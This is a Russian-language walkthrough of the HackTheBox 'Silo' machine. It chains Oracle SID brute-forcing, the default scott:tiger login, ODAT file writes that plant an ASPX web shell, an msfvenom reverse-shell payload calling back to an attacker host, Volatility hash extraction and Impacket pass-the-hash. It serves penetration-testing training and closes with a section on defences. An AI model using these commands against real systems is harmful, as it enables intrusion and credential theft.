Перейти к содержимому

HTB Silo Oracle RCE: полный разбор атаки через ODAT и TNS Listener

HTB Silo Oracle RCE: полный разбор атаки через ODAT и TNS Listener
Время чтения: 12 мин.

По данным Verizon DBIR 2025, 38% утечек данных начинаются с украденных или дефолтных учётных записей. Машина Silo на HackTheBox — концентрированная демонстрация этой статистики: Oracle Database 11g с дефолтной парой scott:tiger, открытый TNS Listener на порту 1521, и дальше — от перебора SID до полного контроля над Windows Server через загрузку веб-шелла и извлечение NTLM-хэша из дампа памяти. Разбираем каждый шаг не как изолированный трюк, а как звено в цепочке атаки с привязкой к MITRE ATT&CK.

Kill chain: от Oracle TNS Listener до полного контроля

Прежде чем запускать первую команду — зачем атакующему вообще Oracle Database в корпоративной сети? Oracle хранит финансовые записи, клиентские данные, бизнес-логику приложений. Получение SYSDBA-доступа (привилегия уровня root для базы данных — позволяет читать и менять любые данные, управлять пользователями и вызывать функции ОС) означает полный контроль над информацией и, зачастую, над самим сервером. По данным IBM X-Force, атаки с использованием действительных учётных данных выросли на 71% в 2024 году — дефолтные пароли баз данных остаются одним из простейших векторов.

MITRE ATT&CK — открытая база тактик и техник, которыми пользуются реальные атакующие; каждой технике присвоен идентификатор (T-код). Карта атаки на Silo:

  1. Разведка — Nmap обнаруживает Oracle TNS Listener на порту 1521 (T1046, Network Service Discovery)
  2. Initial Access — дефолтные учётные данные scott:tiger дают вход в базу (T1078.001, Default Accounts)
  3. Execution / Persistence — загрузка ASPX-шелла через ODAT и выполнение команд на сервере (T1505.003, Web Shell + T1059.003, Windows Command Shell)
  4. Credential Access — извлечение NTLM-хэшей из дампа памяти через Volatility (T1003.002, Security Account Manager)
  5. Privilege Escalation — Pass the Hash для входа под Administrator (T1550.002)

TNS (Transparent Network Substrate) — проприетарный сетевой протокол Oracle для связи клиентов с базой. TNS Listener — процесс, который принимает входящие подключения и перенаправляет их к нужному экземпляру. На Silo стоит версия 11.2.0.2.0, уязвимая к нескольким CVE:

  • CVE-2012-1675 (TNS Poison, CWE-264) — атака из двух этапов: (1) атакующий выполняет удалённую регистрацию экземпляра или сервиса с уже существующим именем на TNS Listener, (2) затем проводит MiTM-атаку для перехвата клиентских подключений и выполнения произвольных database-команд через hijacked sessions. Без сетевой позиции для MiTM второй этап невозможен. EPSS (Exploit Prediction Scoring System — вероятность эксплуатации в ближайшие 30 дней, шкала 0–1) составляет 0.7763 — Top 1%, экстремально высокий показатель. На лабораторной машине без реальных пользователей MiTM бесполезен, но в живой корпоративной среде это серьёзная угроза
  • CVE-2012-3137 (CWE-287) — утечка ключа сессии и соли для произвольных пользователей, что упрощает офлайн-перебор паролей. EPSS — 0.3144 (Top 5%)

[Применимо: внутренний пентест, legacy-инфраструктура Oracle 10g/11g. Порт 1521 редко доступен из внешней сети — обычно только из корпоративного сегмента или через VPN.]

Требования к окружению

Перед тем как повторять шаги:

  • ОС: Kali Linux 2023.x или новее (ODAT и Metasploit предустановлены)
  • RAM: 4 ГБ минимум, 8 ГБ рекомендуется (Volatility на больших дампах ест память жадно)
  • Сеть: VPN-подключение к HackTheBox, IP машины Silo — 10.10.10.82
  • ODAT (Oracle Database Attacking Tool) — опенсорсный инструмент для аудита Oracle DB. Установка: git clone https://github.com/quentinhardy/odat && cd odat — далее используй готовый бинарник из GitHub Releases или ставь зависимости вручную (pip install python-oracledb pycryptodome passlib colorlog termcolor scapy argcomplete). cx_Oracle deprecated с 2022 года, замена — python-oracledb; для ODAT проще взять готовый бинарник. Пакета odat в apt-репозиториях Kali/Debian нет. Перед использованием проверь дату последнего коммита — инструмент обновляется нерегулярно, но для Oracle 11g функционал стабилен
  • Oracle Instant Client — без него ни ODAT, ни sqlplus, ни модули Metasploit не смогут общаться с Oracle. Из-за лицензионных ограничений клиент не входит в Kali — скачивай с сайта Oracle и настраивай переменные ORACLE_HOME, LD_LIBRARY_PATH. Это самый долгий этап подготовки, который в коротких writeup’ах обычно пропускают
  • Volatility 2.xфреймворк для анализа дампов памяти. Пакет удалён из репозиториев Kali (Python 2 EOL). Установка: git clone https://github.com/volatilityfoundation/volatility && cd volatility && python2 vol.py. Альтернатива — Volatility 3 (pip install volatility3), но синтаксис другой: vol -f memory.dmp windows.hashdump. Volatility 3 требует symbol tables для конкретной версии ядра — для Windows Server 2012 R2 может потребоваться ручная загрузка или генерация symbols
  • Impacket — набор Python-инструментов для работы с протоколами Windows (SMB, WMI). Предустановлен в Kali или pip install impacket>=0.12.0. Некоторые версии подвержены path traversal (GHSA-mj63-64×7-57xf) — убедись, что стоит актуальная пропатченная версия

Разведка и Oracle SID enumeration через ODAT

Сканирование портов: nmap -sC -sV 10.10.10.82. Флаг -sC запускает базовые NSE-скрипты (автоматическая разведка сервисов), -sV определяет версии. Из пятнадцати открытых портов интересуют два:

  • Порт 80 — Microsoft IIS 8.5 (веб-сервер со стандартной заглушкой — значит, Windows Server 2012 R2). Директории пусты. Запоминаем — через IIS доставим шелл
  • Порт 1521 — Oracle TNS Listener 11.2.0.2.0 (unauthorized). Главный вектор

SMB на портах 139/445 требует аутентификации, анонимный вход закрыт. Остальные порты — RPC, стандартный набор. Единственный нестандартный вектор — Oracle.

SID (System Identifier) — уникальный идентификатор экземпляра базы данных. Без знания SID подключиться к базе невозможно. ODAT перебирает SID по встроенному словарю через модуль sidguesser:

odat sidguesser -s 10.10.10.82 -p 1521

[+] SIDs found on the 10.10.10.82:1521 server: XE, XEXDB

Результат: найдены валидные SID — XE (стандартный для Oracle Express Edition) и XEXDB. XE — наша цель. Ту же задачу решает Metasploit через auxiliary/admin/oracle/sid_brute, но ODAT справляется без настройки модулей — одна команда.

Перебор учётных данных: дефолт scott:tiger

Зная SID, переходим к подбору пароля. Для скорости берём Metasploit: модуль auxiliary/admin/oracle/oracle_login, параметры RHOSTS 10.10.10.82 и SID XE. Встроенный словарь содержит стандартные пары Oracle.

Результат: [+] Found user/pass of: scott/tiger on 10.10.10.82 with sid XE.

scott:tiger — демонстрационная учётная запись, которую Oracle создаёт при установке. Она задокументирована в официальной документации и входит в каждый словарь дефолтных паролей. На внутренних пентестах дефолтные пароли Oracle встречаются регулярно: администраторы ставят базу, настраивают приложение поверх — и забывают про демонстрационные учётки.

Подключаемся: sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba. Флаг as sysdba запрашивает привилегии системного администратора базы. Проверяем через SELECT * FROM user_role_privs; — scott получает SYSDBA. Это полный контроль: создание пользователей, изменение данных и, что критично, вызов функций для работы с файловой системой ОС.

RCE через Oracle Database: загрузка веб-шелла и выполнение кода

Задача — превратить доступ к базе в выполнение команд на операционной системе. Запускаем odat all -s 10.10.10.82 -d XE -U scott -P tiger --sysdba — модуль all последовательно проверяет каждую доступную библиотеку Oracle на возможность взаимодействия с ОС.

Ключевая находка: DBMS_XSLPROCESSOR library — OK. Эта PL/SQL-библиотека позволяет записывать произвольные файлы на диск сервера. На порту 80 работает IIS, а значит, план простой: записать ASPX-шелл (исполняемый скрипт для веб-сервера IIS) в директорию C:\inetpub\wwwroot\ и активировать его HTTP-запросом.

odat dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger \
  --putFile "C:\inetpub\wwwroot" "shell.aspx" \
  "/usr/share/webshells/aspx/cmdasp.aspx" --sysdba

Что делает каждый аргумент:

  • dbmsxslprocessor — модуль ODAT, использующий пакет DBMS_XSLPROCESSOR для записи файлов
  • --putFile — действие «записать файл»: путь на сервере, имя файла на сервере, локальный файл на Kali
  • --sysdba — без этого флага операция будет отклонена, прав пользователя scott недостаточно
  • cmdasp.aspx — стандартный ASPX веб-шелл из Kali с полем для ввода команд

Если команда отработала без ошибок, открываем http://10.10.10.82/shell.aspx — появляется веб-интерфейс для выполнения команд. Вводим whoami — ответ iis apppool\defaultapppool. Сервисная учётная запись IIS, не SYSTEM.

Для полноценного reverse shell генерируем payload: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<твой_IP> LPORT=4444 -f aspx -o rev.aspx, загружаем через ODAT тем же способом, запускаем listener в Metasploit (exploit/multi/handler) и обращаемся к http://10.10.10.82/rev.aspx через curl или браузер. Результат: интерактивный шелл от имени IIS-сервиса. Флаг user.txt — в C:\Users\Phineas\Desktop\.

Альтернативный путь: прямой RCE через ODAT utlfile

Есть маршрут короче. Модуль utlfile загружает исполняемый файл, модуль externaltable запускает его. Если Oracle работает от SYSTEM (а на Silo это так), reverse shell приходит сразу с максимальными правами: odat utlfile -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\Windows\Temp" "rev.exe" "./rev.exe" --sysdba, затем odat externaltable ... --exec "C:\Windows\Temp" "rev.exe" --sysdba.

Этот путь проще, но менее показателен: полная цепочка (разведка, веб-шелл, privesc) не отрабатывается, навык Volatility + Pass the Hash остаётся за кадром. Если готовишься к OSCP — оба пути засчитают, но «длинный» научит большему.

Privilege escalation: утечка хэша и Pass the Hash

В директории C:\Users\Phineas\Desktop\ кроме user.txt лежит файл «Oracle issue.txt». Критический нюанс: если вывести его содержимое через type, символ £ (знак фунта) не отобразится корректно, и пароль к Dropbox-ссылке внутри файла будет неполным. Файл нужно скачать на атакующую машину (через SMB, FTP или PowerShell-загрузчик) и открыть в текстовом редакторе. Этот момент стоил мне двух часов на первой попытке — не повторяй.

Содержимое файла: ссылка на Dropbox и пароль для скачивания. По ссылке — дамп оперативной памяти сервера (memory dump). Это слепок RAM, в котором остались пароли, хэши, ключи шифрования и прочие артефакты на момент снятия дампа.

Volatility: извлечение хэша из дампа памяти

Volatility — фреймворк для цифровой криминалистики, анализирующий дампы памяти Windows, Linux, macOS. Для Silo используем Volatility 2 (команды imageinfo, hashdump — синтаксис именно второй версии).

Шаг 1: определяем профиль ОС — volatility -f memory.dmp imageinfo. Volatility предложит несколько вариантов. Из результатов разведки (IIS 8.5) знаем, что ОС — Windows Server 2012 R2, выбираем профиль из предложенных imageinfo (имя будет вида Win2012R2x64_<build>, например Win2012R2x64_18340 — не копируйте это значение, используйте то, что выдаст imageinfo).

Шаг 2: извлекаем хэши — volatility -f memory.dmp --profile=<профиль_из_imageinfo> hashdump. На Windows Server 2012 R2 плагин hashdump может сбоить из-за изменений в структуре SAM; если хэши не извлекаются, пробуйте lsadump или community-плагин mimikatz. Плагин hashdump читает из дампа SAM и SYSTEM hives (реестровые файлы Windows, хранящие NTLM-хэши локальных учётных записей). На выходе — строки формата Пользователь:RID:LM_hash:NTLM_hash:::. Нас интересует NTLM-хэш пользователя Administrator.

Шаг 3 (альтернатива): volatility -f memory.dmp --profile=Win2012R2x64 lsadump — извлекает LSA secrets (пароли сервисных учётных записей, DPAPI-ключи, иногда plaintext-секреты сервисов). Для кэшированных доменных учётных данных есть cachedump, но они хранятся как MSCACHE-хэши, требующие отдельного брутфорса. На Silo оба метода дают результат.

Pass the Hash: вход под Administrator

Pass the Hash (PtH) — техника аутентификации на Windows-машине с помощью NTLM-хэша вместо пароля. Протокол NTLM проверяет хэш напрямую, не расшифровывая его — знание хэша эквивалентно знанию пароля.

Используем Impacket: psexec.py Administrator@10.10.10.82 -hashes <LM_hash>:<NTLM_hash>. Скрипт psexec.py создаёт сервис на удалённой машине через SMB и возвращает интерактивный шелл. Ожидаемый результат: командная строка с правами nt authority\system. Флаг root.txt — в C:\Users\Administrator\Desktop\.

Альтернативы для PtH: wmiexec.py из Impacket (работает через WMI, не создаёт сервис — менее заметен), evil-winrm (через WinRM, порт 5985 на Silo открыт).

ODAT vs Metasploit vs sqlplus: выбор инструмента

Инструмент Сильные стороны Ограничения Когда использовать Когда не подходит
ODAT Полный цикл Oracle-пентеста: от SID до file write Нестабилен на свежих Kali, репозиторий обновляется нерегулярно Файловые операции, проверка доступных PL/SQL-библиотек Массовый перебор паролей — медленнее Metasploit
Metasploit Быстрый brute-force SID и паролей, интеграция с exploitation Не покрывает файловые операции через PL/SQL-библиотеки Начальная фаза: SID enumeration и перебор учётных данных Прямая загрузка файлов через Oracle — нет модулей
sqlplus Полный контроль SQL-запросов, ручное исследование данных Нужно знать PL/SQL, нет автоматизации атак Ручной анализ содержимого базы, проверка привилегий Автоматизированная эксплуатация файловой системы

На практике оптимальная связка: Metasploit для быстрого перебора SID и паролей, ODAT для файловых операций и проверки доступных библиотек, sqlplus для ручного ковыряния в данных.

Ограничения Oracle-атаки в современных средах

Silo — лабораторная машина с намеренно ослабленной конфигурацией. В реальной инфраструктуре каждый шаг цепочки упрётся в барьеры:

  • Oracle 19c/21c — современные версии не создают дефолтных учётных записей типа scott:tiger при установке. Библиотеки DBMS_XSLPROCESSOR и UTL_FILE ограничены ACL (Access Control List — список контроля доступа, определяющий, кто и к каким сетевым ресурсам может обращаться из PL/SQL) по умолчанию — доступ к файловой системе через PL/SQL требует явной настройки администратором
  • Сетевая сегментация — порт 1521 в продакшн-средах обычно закрыт межсетевым экраном и доступен только с определённых серверов приложений. На внешнем пентесте открытый TNS Listener — редкость
  • Oracle Audit Vault — при включённом аудите все подключения и SQL-запросы логируются. Перебор SID и паролей будет виден в журналах немедленно
  • EDR на хосте — CrowdStrike Falcon, SentinelOne, Elastic EDR 8.x+ обнаружат создание ASPX-файла в C:\inetpub\wwwroot\, запуск подозрительного исполняемого файла из C:\Windows\Temp\, попытку PtH через SMB. Windows Defender ATP на Windows Server 2016+ тоже отработает эти паттерны
  • Windows Credential Guard — начиная с Windows Server 2016, изолирует NTLM-хэши доменных пользователей и Kerberos TGT в LSASS через VBS (Virtualization-Based Security). Это ломает извлечение доменных секретов через mimikatz/lsadump, но локальные SAM-хэши и hive-based cached credentials Credential Guard не защищает — они защищаются только SYSKEY/шифрованием на диске

Oracle 11g Express Edition до сих пор встречается в legacy-средах: бесплатная версия с платными обновлениями, администраторы не обновляют — именно эту модель эксплуатирует автор машины. По данным CrowdStrike Global Threat Report 2025, 75% вторжений используют действительные учётные данные, а среднее время lateral movement (перемещения по сети после первоначального проникновения) сократилось до 62 минут. Рекорд — 51 секунда.

Silo учит не конкретным командам ODAT, а тому, как один неизменённый дефолтный пароль разматывает полную цепочку до SYSTEM. scott:tiger не поменяли, Oracle-сервис запустили от SYSTEM, файловые библиотеки не ограничили, дамп памяти лежит в Dropbox с паролем на рабочем столе. Каждый промах по отдельности — мелочь. Вместе — полная компрометация. В реальных пентестах такие цепочки встречаются чаще, чем zero-day: не сложный эксплойт, а каскад ленивых конфигурационных решений. Кто-то скажет, что дефолтные пароли — тема из 2010 года, но Verizon DBIR 2025 фиксирует 38% утечек через учётные данные, а IBM X-Force показывает рост таких атак на 71% год к году. Пока администраторы не меняют scott:tiger, атакующие будут этим пользоваться. Если только начинаешь разбираться в таких цепочках — на IB Basics показывают, что делать в первый месяц после «хочу в ИБ», без требований к предыдущему опыту.

Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.